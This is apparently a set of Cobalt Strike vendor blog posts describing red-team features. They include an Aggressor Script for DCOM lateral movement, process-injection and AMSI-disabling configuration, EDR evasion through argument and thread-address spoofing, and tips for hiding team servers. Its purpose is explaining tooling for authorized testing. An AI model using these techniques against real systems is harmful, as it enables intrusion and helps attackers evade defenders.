Cobalt Strike 4.0 – Bring Your Own Weaponization

Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method {
    local('$script $command $args');
    # state what we're doing.
    btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");
    # separate our command and arguments
    if ($3 ismatch '(.*?) (.*)') {
        ($command, $args) = matched();
    else {
        $command = $3;
        $args    = "";
    # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
    $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
    $script .= $2;
    $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
    $script .= $command;
    $script .= '", $null, "';   
    $script .= $args;
    $script .= '", "7");';
    # run the script we built up
    bpowershell!($1, $script, "");
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Bring Your Own Weaponization is not a replacement for elevate and jump. It is an alternative set of approaches to these commands.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact Strategic Cyber LLC for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].

Cobalt Strike’s Process Injection: The Details

Cobalt Strike 3.14 finally delivered some of the process injection flexibility I’ve long wanted to see in the product. In this post, I’d like to write about my thoughts on process injection, and share a few details on how Cobalt Strike’s implementation(s) work. Along the way, I will share details about which methods you might want to use in your red team exercises.

Where does Cobalt Strike process inject?

Cobalt Strike does process injection in a few places. Some of its artifacts spawn and migrate to a new process. While these are an important part of the attack chain, they’re under your control via the Artifact Kit, Applet Kit, and Resource Kit. This post focuses on the process injection in Cobalt Strike’s Beacon payload.

The inject and shinject commands inject code into an arbitrary remote process. Some of the tool’s built-in post-exploitation jobs can target specific remote processes too. Cobalt Strike does this because it’s safer to inject a capability into a context that has the data you want vs. migrating a payload and C2 to that context.

Many of Cobalt Strike’s post-exploitation features spawn a temporary process, inject the feature’s DLL into the process, and retrieve the results over a named pipe. This is a special case of process injection. In these cases, we control the temporary process. We know the process has no purpose beyond our offense action. This allows us to do more aggressive things. For example, we can take over the main thread of these temporary processes and not worry about giving it back. This is an important detail to keep in mind when configuring process injection in Cobalt Strike.

The Process Injection Cycle

The process-inject block in a Malleable C2 profile is where you configure process injection in Cobalt Strike:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

This block is organized around the lifecycle of the process injection process. Here are the steps:

1. Open a handle to the remote process
2. Allocate memory in the remote process
3. Copy the injected data to the remote process
4. Ask the remote process to execute our injected code

Allocate and Copy Data to a Remote Process

Step 1 is kind of implicit. If we spawn a temporary process (e.g., for a post-exploitation job); we already have a handle to do things to the remote process. If we want to inject code into an existing remote process (naughty, naughty), Cobalt Strike will use OpenProcess to do this.

Steps 2 and 3:

Cobalt Strike offers two options to allocate memory in a remote process and copy data to it.

The first option is the classic VirtualAllocEx -> WriteProcessMemory pattern. This is a common pattern in offense tools. This option also works across different process architectures. This matters. Process injection is not limited to an x64 process context injecting into an x64 target process. A good implementation needs to account for the different corner cases that come up (e.g., x86 -> x64, x64 -> x86, etc.). This requirement makes VirtualAllocEx a safe choice. It’s also the default Cobalt Strike uses. If you want to explicitly specify this pattern: set the process-inject -> allocator option to VirtualAllocEx.

Cobalt Strike also has the CreateFileMapping -> MapViewOfFile -> NtMapViewOfSection pattern. This option creates a file mapping that is backed by the Windows system paging file. It then maps a view of that mapped file into the current process. Cobalt Strike then copies the injected data to the memory associated with that view. The NtMapViewOfSection call makes the same mapped file (with our local changes) available in the remote target process. This is available if you set process-inject -> allocator to NtMapViewOfSection. The downside to this option is it only works x86 -> x86 and x64 -> x64. For cross-architecture injection, Cobalt Strike will fall back to the VirtualAllocEx pattern. This pattern is useful in situations where a defense solution hones in on VirtualAllocEx -> WriteProcessMemory but does not detect other methods to copy data into a remote process.

Transform your Data

The above description of steps 2 and 3 assumes that you’re copying the injected data over as-is. That’s not necessarily true. Cobalt Strike’s process-inject block has options to transform the injected data. The min_alloc option is the minimum size of the block Beacon will allocate in a remote process. The startrwx and userwx options are a hint to the initial and final permissions of the allocated memory. If you want to avoid RWX pages, set these options to false. The transform-x86 and transform-x64 blocks allow you to pad either side of the injected data. If you prepend data, make sure it’s valid code to execute for that architecture.

The options to transform content in the process-inject block are very basic. They’re basic because these are options that are safe for all injected content. If I assume what I receive is a position-independent blob that is a self-contained program, I know I am OK to prepend and append data to it at will. If I assume that this position-independent blob does not modify itself, I know I can get away without RWX permissions. These things are as far as I’m willing to go with data I know nothing about. For more aggressive changes to injected content itself, use the Malleable C2 stage block to modify Beacon. Use the Malleable C2 post-ex block to modify Cobalt Strike’s actual post-exploitation DLLs.

Don’t dismiss these transforms because they are basic though. A lot of content signatures look for specific bytes at fixed offsets from the beginning of an observable boundary. These checks occur in O(1) time which is favorable to an O(n) [or worse] search. Too many expensive checks and a security technology can run into performance issues.

Binary padding can also affect the thread start address offset of your Cobalt Strike post-exploitation jobs. When Beacon injects a DLL into memory; it starts the thread at the location of that DLL’s exported ReflectiveLoader function. This offset shows up in the thread’s start address characteristic and is a potential indicator to hunt for a specific post-exploitation DLL. Data prepended to an injected DLL affects this offset. (Less visible threads help too; we’ll get to that in a moment…)

Part 3 of In-Memory Evasion has some more discussion on content, memory, and thread characteristics that are used to detect injected DLLs in memory.

Code Execution: So many damned corner cases…

At this point, we assume our injected content is in the remote process. The next step is execute that content. This is where the process-inject -> execute block comes in. Here, you get to specify which options Cobalt Strike will consider when it needs to inject code. Beacon goes through these options, one at a time, and tries the options that are valid to the current context. When one of these options succeeds, Beacon stops this process.

I mentioned it earlier, but I want to emphasize it again: process injection is filled with corner cases. The list of options you specify has to cover these corner cases. If your list of options misses a corner case, you will find that process injection fails for seemingly random reasons. My goal with this blog post is to help clear up some of these seemingly random reasons.

What are those corner cases?

All of the injection techniques implemented in Cobalt Strike work x86 -> x86 and x64 -> x64. Injecting from one architecture into the other is a trivial base case. But, x86 -> x64 and x64 -> x86 are contexts that matter too.

One context factor (favorable, if we treat it different) is whether or not the remote process is a throw-away temporary process. Remember, Beacon’s post-ex jobs spawn a temporary process and because the process is temporary—we can do more aggressive things.

Another favorable context factor is self injection. If we inject into our own process, we can and should treat that differently. We can simply use VirtualAlloc and CreateThread when injecting into ourself. When dealing with a security stack that aggressively swat remote process injection, self-injection is a way to safely use capabilities that can target a remote process.

One last corner case is whether or not the injected data has an argument. I can pass an argument via SetThreadContext with an x64 target (thanks fastcall!). Cobalt Strike’s implementation can’t pass an argument, via SetThreadContext, with an x86 target. Bummer.

We’re not done though. When dealing with remote process injection there are other factors. Some methods are riskier on Windows XP era systems. *gasp*. RtlCreateUserThread falls into this camp. And, other methods don’t work when you have to inject across desktop session boundaries (CreateRemoteThread, I’m looking at you).

Code Execution: The perfect execute block

Some of the execute options are scoped to the special cases described above. When you specify your execute block, put these special cases (self-injection, suspended processes) first. Beacon will ignore these options when they’re not right for the current injection context.

Next, you should follow up with which methods you want Beacon to use in-general. Remember, each method has different context limitations and failure cases. If you care that your process injection succeed, OPSEC be damned, make sure you have backups to the primary methods you specify. This is how Beacon’s process injection cocktail worked before 3.14 gave control to your profiles.

Let’s walk through the different execute options implemented in Beacon and their nuances:

Code Execution: CreateThread

I’ll start with CreateThread. I think CreateThread should come first in an execute block (if it’s there at all). This function will only run when you’re doing self-injection. You can use CreateThread which will spin up a thread pointing to the code you want Beacon to run. Be cautious though. When you self-inject this way, your thread will have a start address that’s not associated with one of the modules (DLLs, the current program itself) loaded into the current process space. This is a tell used to detect injected content. To help with this, you can specify CreateThread “module!somefunction+0x##”. This variant will spawn a suspended thread that points to the specified function. If the specified function is not available via GetProcAddress; this variant will immediately fail. Beacon will use SetThreadContext to update this new thread to run your injected code. This is a way of doing self-injection in a way that gives your thread a more favorable start address.

Code Execution: SetThreadContext

The next place to go is SetThreadContext. This is one of the methods available to take over the primary thread of a temporary process spawned for a post-exploitation job. Beacon’s SetThreadContext option works x86 -> x86, x64 -> x64, and x64 -> x86. If you choose to use SetThreadContext, put it after the CreateThread option(s) in your execute block. When you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.

Code Execution: NtQueueApcThread-s

Another option for suspended processes is NtQueueApcThread-s. This option uses NtQueueApcThread to queue a one-off function that runs when the target thread wakes up next. In this case, the target thread is the primary thread of our temporary process. This methods next step is to call ResumeThread. This function wakes up the primary thread of our suspended process. Because the process is suspended, we don’t have to worry about giving this primary thread back to the process. Supposedly, executing code this way, allows our injected capability to initialize itself in the process before some userland-resident security products initialize themselves. This method of evasion was labeled the early bird injection technique by researchers from Cyberbit. This option is x86 -> x86 and x64 -> x64 only.

The use of SetThreadContext vs. NtQueueApcThread-s are up to you. I don’t think one is clearly better than the other in all contexts.

Code Execution: NtQueueApcThread

The next option to consider is NtQueueApcThread. This is a different implementation from NtQueueApcThread-s. It’s designed to target an existing remote process. This implementation pushes an RWX stub to the remote process. This stub contains both code and context related to the injection. To execute this stub, we add our stub to the APC queue of every thread in the remote process. If one of those threads enters an alertable state, our stub will execute.

What does the stub do?

The stub first checks if it was already run. If it was, it does nothing. This is to prevent our injected code from running multiple times.

The stub then calls CreateThread with our injected code and its argument. We do this to allow the APC to quickly return and let the original thread go on about its business.

There’s a risk that no thread will wake up and execute our stub. Beacon waits about 200ms and checks the stub to determine if the code ran. If it didn’t, we update the stub to mark the injection as having run, and we move on to the next injection technique. That’s the implementation of this technique.

I’ve had several requests for this option, because some security products have less visibility into this event. That said, this implementation has its OPSEC concerns. It does push that RWX stub which itself is a noisy memory indicator. It also calls CreateThread against our code that was pushed into this remote process. The start address of this thread is not backed by a module on disk. It won’t do well with a Get-InjectedThread sweep. If you find this injection method valuable, go ahead and use it. Just be aware that it has its trade-offs. One other note: this method (as I’ve implemented it) is x86 -> x86 and x64 -> x64 only.

Code Execution: CreateRemoteThread

Another option is CreateRemoteThread. This is the standard-issue remote process injection technique. As of Windows Vista, it does fail when injecting code across session boundaries. In Cobalt Strike, vanilla CreateRemoteThread covers x86 -> x86, x64 -> x64, and x64 -> x86 cases. This technique is also very visible. The Sysmon event 8 will fire when this method is used to create a thread in another process. Beacon does implement a CreateRemoteThread variant that accepts a fake start address in the form “module!function+0x##”. Like CreateThread, Beacon will create this thread in a suspended state and use SetThreadContext/ResumeThread to make it run our code. This variant is x86 -> x86 and x64 -> x64 only. This variant will fail if the specified function is not available via GetProcAddress.

Code Execution: RtlCreateUserThread

The last option available to Cobalt Strike’s execute block is RtlCreateUserThread. Be aware! This option is similar to CreateRemoteThread without some of its limitations. It does have its own drawbacks though.

RtlCreateUserThread will inject code across session boundaries. Supposedly it has some trouble in some injection contexts on Windows XP. This may or may not matter to you. This method DOES fire Sysmon event 8 as well. One benefit to RtlCreateUserThread is it covers x86 -> x86, x64 -> x64, x64 -> x86, AND x86 -> x64. This last corner case is important to address.

x86 -> x64 injection happens when you’re in an x86 Beacon context and you spawn an x64 process for a post-exploitation job. The hashdump, mimikatz, execute-assembly, and powerpick modules all default to an x64 context where they can. To pull off the feat of x86 -> x64 injection, this implementation transitions your x86 process to an x64 mode and injects an RWX stub to call RtlCreateUserThread from an x64 context. This implemention comes from Meterpreter and the RWX stub is a loud memory indicator. I’ve long advised: “stay x64 as much as possible”. This type of detail is the reason why. I do recommend RtlCreateUserThread exist in any process-inject -> execute block though. It makes sense to have this as the bottom-most option. Use it when nothing else works.

Life without (Remote) Process Injection

When I think about how to make an offense technique flexible, I also like to give similar consideration to what would I do if this technique were not an option?

Process injection is a way to move a payload/capability to a different process context (e.g., go from desktop session 0 to desktop session 1). It’s possible to move to a different process context without remote process injection. Use the runu command. This Beacon command will execute a program as a child of an arbitrary process you specify. This is a way to get a capability into another desktop session (for example) without remote process injection.

Process injection is also a way to execute capabilities on-target without putting a capability on disk. In Cobalt Strike; many post-exploitation capabilities have the option to target a specific process. To use these without remote process injection; specify your current Beacon process. This is self-injection.

Sometimes, putting something on disk is the best option available. I once had success compiling a keystroke logger as a DLL and dropping it to c:\windows\linkinfo.dll to (eventually) load it into explorer.exe. We used an open share on the same system to periodically grab our keystrokes. This helped my colleagues and I operate in a highly-scrutinized situation where it was difficult to keep a memory-resident payload alive on target.

If you enjoy these types of thought exercises; I recommend watching Agentless Post Exploitation and Fighting the Toolset.


Interested in Trying Cobalt Strike?


Cobalt Strike 3.14 – Post-Ex Omakase Shimasu

Cobalt Strike 3.14 is now available. This release benefits the OPSEC of Beacon’s post-exploitation jobs. To take a screenshot, log keystrokes, dump credentials, or scan for targets: Beacon often spawns a temporary process, injects the capability into it, and receives results over a pipe. While Cobalt Strike has a lot of flexibility around launching temporary processes, it has had too few options for the actions that come next. This release changes that.

Malleable Process Injection, pt. 2

It makes sense to start this discussion with process injection. This is a key part of Beacon’s post-exploitation attack chain. The process injection code-path in Beacon is some of the oldest code in the payload and it was originally designed to “just work” in the myriad of corner cases this offense technique requires. These corner cases are not trivial. x86 -> x86, x86 -> x64, x64 -> x86, and x64 -> x64 in both suspended and not suspended processes are cases that a process-injection implementation needs to account for. The above becomes more complicated as some options fail across desktop session boundaries and others are riskier on older Windows XP-era systems. You can say “I don’t care about Windows XP”, and to some extent I don’t either, but Cobalt Strike’s Beacon circa 2012 had to cope with this.

Cobalt Strike 3.12 made some progress on process injection flexibility. This release picks up where 3.12 left off. Here’s what it looks like:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

Remote Memory Allocation

The process-inject -> allocator Malleable C2 option presents two paths to allocate memory within and copy data to a remote process.

The default VirtualAllocEx uses the venerable VirtualAllocEx -> WriteProcessMemory combination. The NtMapViewOfSection option has Beacon create a file mapping in the current process, copy the code to this local section, and map it into the remote process with NtMapViewOfSection. This option is limited to same-architecture target process (VirtualAllocEx is always the fallback).

Code Execution

3.14 also offers control over which techniques Beacon uses to execute code in a remote process and in which order it attempts them. This is done with the process-inject -> execute block. When executing code in a remote process: Beacon examines each option in the execute block, determines if the option is fair game for the current context, tries it if it’s relevant, and stops this process if code execution was successful.

Cobalt Strike’s options include:

  • CreateThread
  • CreateThread “module!Function+0x##”
  • CreateRemoteThread
  • CreateRemoteThread “module!Function+0x##”
  • NtQueueApcThread
  • NtQueueApcThread-s
  • RtlCreateUserThread
  • SetThreadContext

The CreateThread option is specific to self-injection.

The SetThreadContext and NtQueueApcThread-s options are specific to the temporary processes Beacon launches for its post-exploitation jobs. These functions take over the main thread of the suspended process and use it to execute the injected post-exploitation capability. The NtQueueApcThread-s option is Cobalt Strike’s implementation of the so-called Early Bird technique.

NtQueueApcThread, RtlCreateUserThread, and CreateRemoteThread are standard-issue options to inject code into a remote process. The RtlCreateUserThread option has an implementation variant for x86 -> x64 injection. CreateRemoteThread and RtlCreateUserThread both handle x64 -> x86 injection. All other options cover x86 -> x86 and x64 -> x64 injection.

CreateThread and CreateRemoteThread have variants that spawn a thread with the address fo another function, update the suspended thread to execute our code, and then resume the thread. This is useful to duck past techniques like Get-InjectedThread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull from. The optional 0x## part is an offset added to the start address.

With the execute block, you may arrange these functions in an order of preference you’d like to use in your operations. It’s OK to omit or include options to tailor Beacon’s behavior to the adversary capability you’d like to emulate.

Revised Post-exploitation DLLs

Cobalt Strike 3.14 adds a post-ex block to Malleable C2. This block collects options to tweak the content and behavior of the post-exploitation jobs in Cobalt Strike.

post-ex {
    # control the temporary process we spawn to
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";

Existing options such as spawnto_x86, spawnto_x64, and amsi_disable were moved to the post-ex block.

The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block.

The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory reads of the export address table in kernel32 and friends.

Blocking Vendor DLLs

Process injection does not exist in Windows solely to enable offense software. Some security products inject DLLs into user processes too. They do this to get deeper visibility into and veto power over the activities of the process. This is accomplished by hooking functions associated with common offense techniques.

Related: Google found that Chrome users were 15% more likely to experience a crash when injected code is present in the Chrome process space. Google decided to push back and block these DLLs from the Chrome process space. As an offense engineer, I thought it would benefit my processes if I could ALSO block these unwanted third-party DLLs from my processes. It turns out… this is possible.

Use blockdlls start and Cobalt Strike will launch child processes in a way that denies third-party DLLs access to the same process space. This is accomplished by running the process with a binary security policy attribute that restricts DLL loads to Microsoft-signed DLLs only. This is an option present in Windows 10 since late-2017.

Revised Process and File Browser Tabs

The 3.14 process browser now organizes the process information into a tree. Highlight a process in the tree and it will immediately highlight in the right-side detailed view of the processes. Your current process also shows in yellow. This is a lot easier than trying to follow a flat ps output and figure out which process is the parent of which process:

The 3.14 file browser is now (slightly) friendlier to Beacon’s asynchronous communication style. Each file browser now caches the folder/file listings it has seen. A tree on the left-hand side of the file browser shows which known folders are in the cache and which are not. Colored folders are in the cache. Grey folders are not. Click on an uncached folder in the tree and the file browser will ask Beacon to list that folder on its next check-in. In this way, you can revisit folders you’ve already seen, request multiple folders, and queue up multiple actions (e.g., download, execute, delete) in between Beacon checkins.

These changes should make post-exploitation a little more fun.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.14. Licensed users may use the update program to get the latest.

Cobalt Strike Team Server Population Study

From February 4, 2019 to February 15, 2019 Strategic Cyber LLC connected to several live Cobalt Strike team servers to download Beacon payloads, analyze them, and study the information within these payloads.

We conducted the survey from a system that exists separate of this company’s logs and records. The survey results were available on the same system. We did not use our logs or records to seed this survey.

We granted access to our survey system and results to a few parties we trusted. We did this to seek feedback on the data, process, and ideas for appropriate use. We also invited these parties to submit team servers for analysis as well. Unfortunately, one of those parties posted many domains from this system’s results to Twitter without our approval or knowledge. Some of these domains included red team infrastructure used by customers. While anyone could conduct the same survey, it was our system’s results that were used.

One of the top priorities at Strategic Cyber LLC is to not disclose or impact the red team operations or penetration tests of our customers. We see this aggregate and unapproved disclosure of domains, from our survey system, as undermining that goal.

The rest of this post details the survey process, what it extracted, and how to make your team server less visible to these types of analysis.

Why did we do this survey?

We conducted this survey as part of our continuous efforts to evaluate and improve our product controls.

How was the survey done?

We used techniques well-known in the blue community to identify Cobalt Strike team servers. We then connected to those servers to request a Beacon payload stage and analyzed its configuration and PE characteristics. We did not circumvent any technological measures to perform the survey.

What information does this analysis yield?

A lot of configuration information (necessary for the Beacon payload to function) is embedded in the Beacon payload DLL. Our analysis extracted hosts, URIs, User-Agents, and other behavior related configuration information. Our analysis also sought to identify: trial vs. licensed, authorization ID, version, and whether or not the product was altered in certain ways.

How did you find these team servers?

Here are the common techniques to identify Cobalt Strike team servers on the internet:

1) The Cobalt Strike product ships with a default SSL certificate for HTTPS communication. This self-signed certificate has no place in a live operation, but it’s still used in many Cobalt Strike deployments. One technique to find Cobalt Strike Beacon controllers is to search for the SHA-256 hash of Cobalt Strike’s default certificates:

2) Cobalt Strike’s DNS server (when it’s enabled) will respond to any request it receives with the bogon IP A search for DNS servers that respond to an arbitrary DNS request with this answer will find Cobalt Strike systems. It will also find non-Cobalt Strike systems as well. It’s a noisy indicator.

3) Search for systems with port 50050 open. This is the controller for Cobalt Strike’s team server.

4) Another technique is to look for 404 Not Found root page with empty content and a text/plain Content-Type. This is the default response of Cobalt Strike without a redirector or content explicitly hosted at /.

How was the payload stage requested?

As part of its feature set and workflows, Cobalt Strike hosts the Beacon payload stage on its built-in web server. Cobalt Strike is compatible with the Metasploit Framework’s staging protocol. Any HTTP request that has the proper checksum8 value will yield a Beacon payload. Our system makes a request for a payload in the same way a Metasploit Framework stager would.

Protecting your team server

The process we used for our survey is nothing new or unknown. If you’d like to reduce the visibility of your team server to these mass analysis studies, here are a few tips:

1) Do not use the default HTTPS certificate within Cobalt Strike. If your goal is to emulate a low-tier actor with a self-signed certificate—use the https-certificate Malleable C2 block to generate a self-signed certificate that supports your exercise narrative. If you have a live operation, use a valid SSL certificate with your HTTPS Beacon.

2) The is a well-known indicator of the DNS beaconing feature in Cobalt Strike. Use the dns_idle Malleable C2 option to change this to something else.

3) Edit the last line of the teamserver script to change the port from 50050 to something else. This is a very minimal measure. A better solution is to limit who can connect to this port with a host-based firewall.

4) If Cobalt Strike is hosting a Beacon payload stage, it will send payload stages in response to a valid request. This remains true, even if you configure the http-stager block in Cobalt Strike. The http-stager block reconfigures staging indicators within Cobalt Strike. It does not disable the compatibility with the Metasploit Framework. If you do not want Cobalt Strike to host a payload stage, set the host_stage Malleable C2 option to false. This option will require some changes to how you operate.

5) Use an Apache or Nginx web server as a redirector for your Cobalt Strike team server. Limit 80/443 connections to your team server to these redirectors. A properly configured redirector will smooth out indicators specific to Cobalt Strike’s web server (e.g., the JA3S fingerprint for SSL connections). A redirector is also an opportunity to serve legitimate content in response to non-staging and non-command and control URIs. The Red Team Infrastructure Wiki has advice on this topic.

Cobalt Strike 3.13 – Why do we argue?

Cobalt Strike 3.13 is now available. This release adds a TCP Beacon, process argument spoofing, and extends the Obfuscate and Sleep capability to the SMB and TCP Beacons.

TCP Beacon

Cobalt Strike has long had the ability to pivot over named pipes. Cobalt Strike 3.13 expands this peer-to-peer pivoting model with the TCP Beacon. Now, you can use the bind TCP Beacon as a target for privilege escalation and lateral movement. Like the SMB Beacon, you may disconnect from the TCP Beacon and reconnect to it from another Beacon (in the same Cobalt Strike instance) later.

Pivot Listeners in Cobalt Strike 3.13 are now stageless Reverse TCP Beacon listeners. You may bind a pivot listener from a Beacon session and export a stageless TCP Beacon artifact that connects to it.

Cobalt Strike’s SSH sessions have the ability to control TCP Beacon sessions too! Yes, you can now SSH into a pivot host and use it to resume control of a Beacon mesh.

Pivot Listeners for the Reverse TCP Beacon work from SSH sessions too, but with one caveat: the SSH daemon often restricts reverse port forwards to localhost only. You can change this with the GatewayPorts option in your SSH configuration. For those of you who use dropbear as a *NIX RAT (*cough*I know you’re out there*cough*), this is a nice added pivoting option.

Process Argument Spoofing

One of 2018’s must-watch talks for red teamers is Red Teaming in the EDR Age by Will Burgess. This talk discusses a few techniques for EDR evasion, to include: spoofing parent processes, process argument spoofing, and hiding in-memory. After Will’s talk, I opted to take a look at how to add process argument spoofing as a session prepping option in Cobalt Strike. Here’s what I came up with:

Beacon’s argue command allows you to add a command and a set of fake arguments to an internal list. When Beacon launches one of these commands [an exact match is required], it will launch it with fake arguments in a suspended state. Beacon then updates the process memory with the real arguments and resumes its execution. Tools that subscribe to new process creation events will see the old arguments. The child process will execute with the spoofed arguments. This technique is a way to push back on detections that look for malicious process arguments.

As usual, this isn’t the 100% works everywhere silver bullet for red teaming. This technique relies on reading and writing to memory in a remote process. That’s an indicator of badness.

